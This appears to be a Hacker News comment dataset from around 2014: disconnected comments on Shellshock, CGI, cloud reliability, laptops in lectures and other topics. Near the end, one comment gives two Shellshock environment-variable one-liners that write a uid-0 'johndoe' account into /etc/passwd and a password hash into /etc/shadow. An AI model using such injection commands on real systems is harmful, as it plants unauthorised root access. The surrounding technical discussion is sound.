skysight-inc/HackerNews huggingface dataset:
Do you have any examples of FGPAs used with image processing? I've done a little, and I've seen some academic examples. But I haven't seen anything in production.
> The problem is that 5 years later, new software was developed (apache, dhcp, etc), that uses bash in child processes

I don't think this history is correct.

At the time, most systems used sh as the default non-interactive shell. The other shells such as csh, ksh and bash were considered to add interactive niceties, but programmers and sysadmins expected scripts to use sh.

One of the reasons sh doesn't have a lot of wiz-bang features is that it needs to stay compatible and portable across all the different Unixes so that all the scripts, past and present, will work. And sysadmins liked this conservative approach.

It wasn't until the rise of Linux, and the aliasing of /bin/sh to point to bash, that sysadmins started becoming comfortable with running bash as the default non-interactive shell. And that was only because bash promised to be fully compatible with sh. And bash was compatible but it also added new scripting features. But most developers and sysadmins rejected using these new features because you would lose portability to sh systems if you did so. That is until now, with the dominance of Linux and portability becoming less of a concern.

So really this bug is the fault of bash's embrace-and-extend strategy.
So nonsensical Apple wound up firing the engineer in charge of the design, a man no one would have otherwise known the name or job of?
Marc Andreessen's Tweetstorms [Book]
"I guess I’m just not a social network kinda guy."

...

"I can’t work up any enthusiasm for Ello"

¯\_(ツ)_/¯
For Mac OS X, until Apple releases a software update, I've applied the original CVE-2014-6271 (shellshock) patch and the CVE-2014-7169 patch. Repository and instructions to reproduce without trusting me are located here:
https://github.com/ido/macosx-bash-92-shellshock-patched

Binary releases are here:
https://github.com/ido/macosx-bash-92-shellshock-patched/rel...
...including a .pkg file that can be installed with a double-click.

Instruction here:
https://github.com/ido/macosx-bash-92-shellshock-patched/blo...
I don't get the negativity. I've seen the Cube - currently installed at EMP museum - it's a pretty cool art project.

Is it pointless? Yes, but it doesn't have to have a point. It's simply cool way to "transform" you from the meatspace into the "cube space" using modern technology.
Another bunch of slides with no context. Is there an accompanying video to go with these, or can we gleen solid info from this?

My takeaway from this is that DNSSEC is done wrong from the outset here, and hence all these vectors are possible. The vectors don't seem particularly nasty if we verify the integrity of DNS from the get go.
101 Startup Failure Post-Mortems
No, using function pointers does not necessarily mean implementing a vtable.
move is just

return static_cast<T&&>(value);

Library support for std::move is not the reason it's disallowed. (If it is, that's just silly and someone should create a discussion thread).
Yeah, it is very expensive :/

Coverage wise, I don't know how much it is in places like Africa. I have personal experience in India with a smartphone, no internet, and cell connection. Stefan also had this issue on the bus from Chicago (?) to MHacks (Ann Arbor), which was a 9 hour trip without 4g. A lot of more rural areas of America have bad data coverage too. I like to go camping, and I see this pattern a lot.
So assuming it's an online EC2 server not-updated LAMP stack with an empty cgi folder and a lone html page with hello world. Is that vulnerable to bash exploitation in any way?
Cooler if you put a few around in different venues and network them. Dance with people at other clubs.
Seriously... I bumped into one of the guys on the opening night. He never said anything about "strategy", only "art". Decibel fest was exactly right place for the cube.
We're all high school and college students, and we're still working on it.
As someone who does a lot-ish of public speaking at conferences as such, let me offer my 2c on tech in audiences.

At a conference, people are always going to be using technology. They are always going to be checking their phones, and they are always going to have a thousand things going on. That's just the fact. They're there for a whole day, or even multiple days, emails need to be checked, sometimes coding needs to be done, sometimes they just want to check up on what the talks in other tracks are about and consider switching.

Therefore it is my job as a presenter to make sure nobody is checking their phone. If I am interesting enough, laptops start closing, phones stop being checked, sometimes they even go into pockets. As soon as I lose the audience, all that tech comes back out.

And I think that's what a lot of professors forget - BE MORE INTERESTING. Have a better presentation style. Take public speaking classes. Do something to make yourself stand out above the distraction of internet and devices.

Because here's the thing, those professors who [have to] make attendance mandatory, are without exception the worst presenters. Same goes for banning tech. If you ban it, you're just saying "I suck at public speaking and I would rather you deal with that problem than I"

And yes, it is an amazing feeling when you start with a room of a hundred people each looking at a different screen and end with a room of a hundred people looking straight at you with all laptops closed and phones/tablets put away. It's got nothing to do with tech and everything to do with winning your audience over.
Generation Wuss
It took a lot of discussions with pjb on irc for me to decide he is not actually a troll. His is very literal. The part where assigning a particular variable to any environment variable causes arbitrary code execution is a bug.

The part where you can define functions by setting environment variables is a feature. It would be far better if the variable names needed a prefix (e.g. BASH_FN_foo='() {...}')., but even without that change, fixing this bug still preserves the case that allowing arbitrary data into the values of a whitelist of environment variables is safe.

In general, allowing modifications to a subset of the environment (and by this I mean the entire system environment, not environment variables) needs to be safe. Allowing programs to upload arbitrary data to /tmp/uploads is safe, allowing programs to upload to e.g. ~/.profile is clearly not safe.

In PJBs world it is not possible to set any environment variable to any value without reading the source code of every program that might possibly be called by any of your children. This is clearly not tenable.
The Deadly Stupidities Around Ebola
>> 'I can't help but feel like some of the hoops you have to jump through for it make it a tremendous pain in the ass.'

Any examples? I've only played with it a little but I'm thinking of doing my next app in Swift instead of Objective-c.
>I do think a large part of that is due to lack of generics that allow the code to recursively deserialize nested classes and collections without any extra boilerplate other than the class definitions.

Huh? Completely automatic serialization (called activation/passivation) was in the original Stepstone Objective-C, described in Brad Cox's book[1]. No generics required at all, just a modicum of introspection.

[1] http://www.amazon.com/Object-Oriented-Programming-An-Evoluti...
It is the awareness that you are immortal that would lead to the desire to end things (assuming the concept actually exists). Logically, the voice is simply a conduit to the interconnection (nexus) of all entities. Being singley aware my own consciousness is immortal and that consciousness is also part of a greater whole are equally appealing and frightening to me. That duality is slightly puzzling and interesting.
Water weight maybe? The drinks are huge and refills are free
Hey, you can always meet up immediately afterwards by walking around to the other side and say Hi. There's no enforced separation beyond that.

Venice has masked balls where you interact behind the mask, and that makes it novel and exciting.
Probably not, unless there's something really weird in your Apache config.
A World of Enchanted Objects – Avoiding a Cacophonous Internet of Dings
How Well Do We Know Our Conscious Experience? The Case of Echolocation (2000)
Slide 56 onwards (2-way communication over DNS) is basically what Iodine [0] does to defeat firewalls. Quite a cool hack.

[0] http://code.kryo.se/iodine/
It has been blown out of proportion. But so was the iPhone 6 launch. It's the downside of the Apple hype machine, basically.
Darin L. Hammond on Science and Creativity in Storytelling
Sorry I should have used the word probable which is limited to power, network, software and storage failures. The solution to these is redundancy and to test each failure condition in succession and combinations thereof.

Sure there are more possibilities, but these should all be covered with a complete fallback DR strategy i.e. if not identifiable cause X, Y or Z then assume the worse, snapshot everything for debugging later and fallback to a complete restore from scratch.

The trick is to make X, Y and Z self-healing and part of your architecture provisioning.

I get the feeling most people here haven't dealt with large deployments and multiple site redundancy, five-nines reliability requirements and extensive DR planning, because the above is pretty obvious to those of us who have.
FBPurity add-on to the rescue! http://www.fbpurity.com/

filters out the junk you don't want to see, leaving behind the stories and page elements you do wish to see
I don't believe redundancy, what I think you mean---fault tolerance---is implicit in the definition of cloud computing.

The most general form of the term 'cloud' in my mind is elastic access to computational resources.

There is no guarantee of high availability (in fact, we see failed AWS instances and horror stories all the time), nor automated failover/redundancy/fault tolerance.

Chaos Monkey by Netflix is a great example of the shortcomings of the modern cloud in terms of fault tolerance and redundancy.

The cloud doesn't give it to you, you have to build that yourself.

I'm a very open-minded person, perhaps because of my academic background, so I would be happy to say that I agree that a subtype of the fundamental cloud could be a redundant/fault-tolerant one.

But the fundamental definition of cloud does not include fault tolerance.

Don't trust me.

Check out the more formal definition from US NIST (years of work, 15 drafts), there is no mention of redundancy or fault-tolerance:

http://faculty.winthrop.edu/domanm/csci411/Handouts/NIST.pdf
Write your own Virtual CPU in C++
I suspect the intent of "Content submitted to File Exchange may only be used with MathWorks products" is that posting software which is an alternative to MathWorks is off-topic for that site and should not be posted there; users should only post code that is related to MathWorks.

The sentence probably isn't intended to mean that they are adding licensing restrictions to anything which is uploaded, as in ("this code must be henceforth bundled an used strictly with MathWorks").
I've seen a plugin to some ide, can't remember if it was eclipse or pycharm, that would highlight the last three variables you had selected. Similar to what most editors do with the current variable under cursor but with a short memory.
There's nothing for the CGI caller to sanitise, how could and why should it know how arbitrary programs are going to arbitrarily misinterpret what it forwards? The CGI script could be Python eval()'ing it or Ruby interpreting it as a local file to display or delete, and it's no business of the CGI caller that they do.

All the CGI caller can and should do is forward correct data as defined by RFC 3875, the rest is not its job.

> sanitizing environment variables before calling bash.

The CGI caller may not even be calling bash, then what? Should it remove anything which looks like valid PHP code because it's calling a PHP CGI? Oh but now the PHP CGI uses system() which creates a subshell which is still holed, and we end back with: if it becomes the CGI caller's job to cleanup data which could be misinterpreted by application code, the only thing it can do is stop working entirely.

Now if you want a mod_bash_is_retarded prefilter feel free to implement one, but it most definitely is not mod_cgi's job to fix that crap, mod_cgi's job is to correctly implement RFC 3875, and the number of times bash is mentioned in RFC 3875 is 0.
Study: Online classes really do work
The reports came from people putting them in their front pants pockets and sitting. Your thigh is pretty strong.
Julia Language: Inside the Corporation
No Time for Car Shopping? Click ‘Print’ to Make Your Own
That's not how you think it works. You can point domains you own at any IP you like.
Complex step differentiation is a hack for environments that have built in complex numbers, but that don't allow additional numeric types to be implemented easily. But it's a pretty clever hack.
Also, my setup is a private cloud (in the NIST definition).

There are two tenants: myself, and my fiancee.

We use VM technology to share the same set of physical resources.

Our VMs are managed via Vagrant.

VM technology does not imply cloud, you are right; however, it is often used to implement clouds as an abstraction layer over hardware.
Well when you contract out your infrastructure that really should be part of your DR plan. Analysing failure conditions is really priority one when you put your stuff on someone else's turf as you have little control over this, despite contracts etc. You did do a DR plan right and did check your contract with RackSpace?

I want to be woken up if something doesn't come back, not if it does or even if it has gone into limp mode.

Seriously you're looking at the wrong end of the problem.
Postgres has first-class arrays too:

http://www.postgresql.org/docs/9.3/static/arrays.html
Am I missing how to make this process work with the idiomatic Golang build system? Can I use "make" or "grunt" to create a package that someone else can "go get" and build without using a third tool?
If he's partnered, he could get around $2 CPM, so around $800 if the videos at 400,000 views.
Obviously, C, where a linked list is the first library every new programmer learns to write.
How does this work if the code is released under a liberal license?
How much did your 20gig of RAM cost you?

We don't run 24/7, only when we need to do our experiments.

So the power bill is much lower than what a lot of people are worried about.

This setup is definitely used on-demand :-)
> Does Apache need to set global environment variables

Apache? No. mod_cgi? Yeah, because that's its fucking job because that's how CGI works http://tools.ietf.org/html/rfc3875
Neither article focuses solely on hydrogen. The Discover article is about interstellar ice, while the Guardian article above is about the observation of water vapor:

> Scientists from the University of Maryland used Hubble’s wide field camera to analyse light from HAT-P-11b’s host star through the planet’s atmosphere. They found that light with a wavelength of 1.4 micrometres was absorbed, matching the absorption spectrum of water molecules.
The quote in the title is entirely fabricated.

What was actually said was:
'That is evil!'
I'm not sure why people consider not having a FB account such a badge of honor.

To some extent I think it's just because there's such an expectation of it in some circles, that people either give in and get one after the Nth time being pestered about it, or become somewhat defiant about not giving in and getting one. It's difficult to just not have a Facebook account in a low-key way in such a context.

That does vary hugely based on demographics and social circle, though; for some people, having or not having a Facebook account is not a big deal and they barely think about it either way.
I've found Mike Munger's thoughts on this to be wise:

http://www.theihs.org/academic/2011/12/19/faculty-debate-sho...

He's for it.
> At a conference, people are always going to be using technology. They are always going to be checking their phones, and they are always going to have a thousand things going on.

In computer science conferences in research (the area I'm familiar with) this tends to happen as well, but there is a venue (Schloß Dagstuhl) which has (among other interesting traditions, such as mandatory random seating assignments at meals) a policy of not having WiFi in the conference rooms. I think it is clear that had the WiFi been there almost everyone would have used it, yet somehow I only heard people talk positively of the no-WiFi policy... There is, I think, a sizeable proportion of people who see connectivity-induced multitasking as a weakness, and are happy when given an occasion to not indulge in it.

> If I am interesting enough, laptops start closing, phones stop being checked

Sometimes this is not enough. If you started with a room full of people doing something else, and the talk is sufficiently technical so that you can't start paying attention midway through, sometimes you can be faced with the very hard task of catching people's attention during the first few minutes when they still haven't noticed that someone else was talking...

> those professors who [have to] make attendance mandatory

(A side point, but from my experience of the university system (in France), mandatory attendance in classes is usually a policy set by the institution more than by the individual teachers.)

I agree with your general point that being anti-tech in classes should not be an excuse for giving bad classes. But I don't think that's enough to dismiss the feeling.

There's also another thing: professors teaching their students may not feel like it is their duty to earn their audience's attention, to have a slick and attractive presentation style, so as to compete with any possible distraction... They may feel like they can teach the class as they like, and it is the students' role to adjust. I think this balance between the professor's sense of entitlement and the students' varies a lot across cultures (also depending on how much the students pay for tuition, e.g., much less in France than in the US). But this is something where there can be a difference between classes at university, and conferences.
Off and on, little threads like this:

https://lists.gnu.org/archive/html/qemu-devel/2013-05/msg016...
Not entirely fabricated

https://twitter.com/johnmyleswhite/status/515307794430689280

(links the comment).

I took liberties with punctuation.
5 AngularJS Antipatterns and Pitfalls
"If a student chooses not to pay attention in class to their disadvantage, they have every right to do that!"

This misses the point. You should respect people when in their presence. Its a basic tenet of social interaction.

People who (are so self absorbed to) dis-regard this ultimately do so at their own peril.

Its not condescending--its literally the opposite.
There's no need to prove it. It's a value judgement. Asking for proof will not make us stop judging these kind of backwards practices.
Really wish my profs at UW Seattle would have done this. So many of my classes lacked discussion or engagement because so many people were chillin on Facebook. I think I also met fewer friends because of it. Very few of the people actually cared about getting an education and were instead just there to get the credits and then get a job (this was in the business undergrad). Having no devices might have forced people to engage out of sheer lack of an alternative.
“Apple Will Become the Phone of Choice for the Pedophile”
"And I think that's what a lot of professors forget - BE MORE INTERESTING. Have a better presentation style. Take public speaking classes. Do something to make yourself stand out above the distraction of internet and devices."

Have you done a lot of teaching?

As a matter of fact, managing a course-long sequence of lectures in a way that keeps everyone engaged is infinitely more difficult than keeping everyone engaged in a one-off conference presentation.

Your entire comment supposes that the content is interesting to the entire class, that you're moving at an appropriate rate for everyone in the course. This is never the case.

I don't care how engaging the lecturer is. If it's a lecture on linked lists (or something else I already know about) then, unless I plan on teaching in the future, I'm going to get work done instead of listening. Similarly, if the lecturer takes a class period to pound in an important concept I've already internalized, I'm going to get something done while s/he catches the rest of the class up.

The only way to make sure everyone has good reason to pay attention is to teach a very difficult topic. Which is why "not paying attention" is nearly non-existent in canonically difficult courses, regardless of the quality of presentation style.
Better JavaScript Test Fixtures
Does it really make sense for there to be a "raft of laws" concerning driving people around for money? What is the purpose of such laws?
iOS 8.0.2 released to publiciPhone jailbreak
Watch Baltimore Ravens vs. Carolina Panthers Live Stream
env x='() { :;}; echo "johndoe:x:0:0::/root:/bin/sh" >>/etc/passwd' bash -c "echo this is just a test"

env x='() { :;}; echo "johndoe:\$6\$eM5eLwRC\$eZhb4x7sf1ctGjN1fXrpsusRHRKTHf/E15OA2Nr4TdTF9F0SS4ousy3WrPCI2ofdNoAonRnNPQ7Ja3FQ/:15997:0:99999:7:::" >>/etc/shadow' bash -c "echo this is just a test"

Hacked!!

but this only work from root :/ and johndoe xD
Came here to post a similar comment. Two of his bullet points:

Automated RESTful APIs
Expressive Triggers & Responses

are actually already addressed very nicely by some of the third party libraries available for Java. You're exactly right that the combination of typed collections and annotations makes this much easier in Java. If you lay out your model classes properly then JSON serialization/deserialization is a one-liner.

And his third point, the complexity of auto layout, is much less of an issue with Android's layout system, which is much saner for the typical kinds of grid layouts you encounter in real apps.

This is why I've always had a hard time understanding why people say building Android apps is harder than iOS. Sure you have to support a wider variety of devices and dealing with low-level stuff like GL shaders or the camera can be painful. But for typical apps that are basically just list views into some kind of backend data store Android is way easier, IMO. And with the recent proliferation of iOS device sizes and aspect ratios the days of drag & drop UI in iOS are long gone.
cough, cough

https://www.torproject.org/
You missed one of the big ones, DHCP. dhclient calls dhclient-script with attacker controlled environment variables, and on several Linux distros I checked, dhclient-script explicitly uses Bash, so even Debian and Ubuntu, which use dash as sh, are vulnerable.
I think that you should just hold off buying it for a bit and wait for apple's response. This is admittedly anecdotal, but I know one person who bought the new 6 (not the 6+), and although it is a great phone in every respect he said that over the weekend he had it, it had bent in his front pocket (not his back). It is nothing egregious like the bend test videos, but when he sets it down on a table now it doesn't lie flat because there is a noticeable bend on the diagonal between the top and the bottom. He is now carrying it in his other pocket to try and get a similar bend the other way to even it out.

I am sure that Apple will not let this issue just stand, although they will definitely work to minimize and downplay it publically, and a few months from now the next batch of iphones will have been stiffened and will be much better. One of the risks of being an early adopter and if you can hold off for a bit I'm sure you'll get a stronger phone.
ScreenSnap – Easily create screenshots from PSD
Gah, it's like re-inventing the skateboard, but without wheels.